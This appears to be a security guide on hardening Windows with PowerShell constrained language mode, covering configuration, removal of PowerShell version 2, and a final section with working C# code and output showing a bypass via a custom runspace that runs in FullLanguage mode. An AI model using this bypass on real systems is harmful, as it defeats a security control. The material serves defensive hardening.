PowerShell constrained language mode prevents PowerShell from accessing native API functions. PowerShell can still be used in this mode, but will report an error if a script attempts to use native API functions. Running PowerShell in this mode prevents a lot of offensive security scripts from executing.
It should be noted that an attacker may be able to disable constrained mode, however it at least provides an extra layer of defence.
Configuration
You can check the current status on constrained mode by executing;
$ExecutionContext.SessionState.LanguageMode
To temporarily configure constrained mode for testing, the following command can be used;
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
To permanently configure constrained mode, create an environment variable called “__PSLockDownPolicy” and set the value to 4:
This setting could also be configured by setting a GPO for the environment variable.
PowerShell Version 2
Constrained mode is not supported in PowerShell version 2. Since this version is installed by default on Windows 10, you will want to remove this feature to prevent an attacker from utilising that version of PowerShell to get past constrained mode.
To check if PowerShell version 2 is enabled, execute the following in an elevated command prompt:
Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2
To disable PowerShell version 2, execute the following:
Disable-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2Root
Bypassing Constrained Mode
If application whitelisting is not configured on a host, an attacker can bypass constrained mode by invoking the System.Automation runspace using C#.
The below code will execute PowerShell commands in FullLanguage mode. You will also need to add an assembly reference to the System.Management.Automation.dll in the Visual Studio project;
C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll
ConstrainedModeBypass C# Code
using System;
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
namespace ConstrainedModeBypass
{
class Program
{
static void Main(string[] args)
{
Runspace runSpace = RunspaceFactory.CreateRunspace();
runSpace.Open();
PowerShell powershell = PowerShell.Create();
powershell.Runspace = runSpace;
String cmd = "Write-Output $ExecutionContext.SessionState.LanguageMode";
powershell.AddScript(cmd);
Collection<PSObject> results = powershell.Invoke();
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.AppendLine(obj.ToString());
}
Console.WriteLine(stringBuilder);
}
}
}
The below output shows the system is running in constrained mode, but the application can invoke PowerShell in FullLanguage mode;
PS C:\Users\user\Desktop> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
PS C:\Users\user\Desktop> .\ConstrainedModeBypass.exe
FullLanguage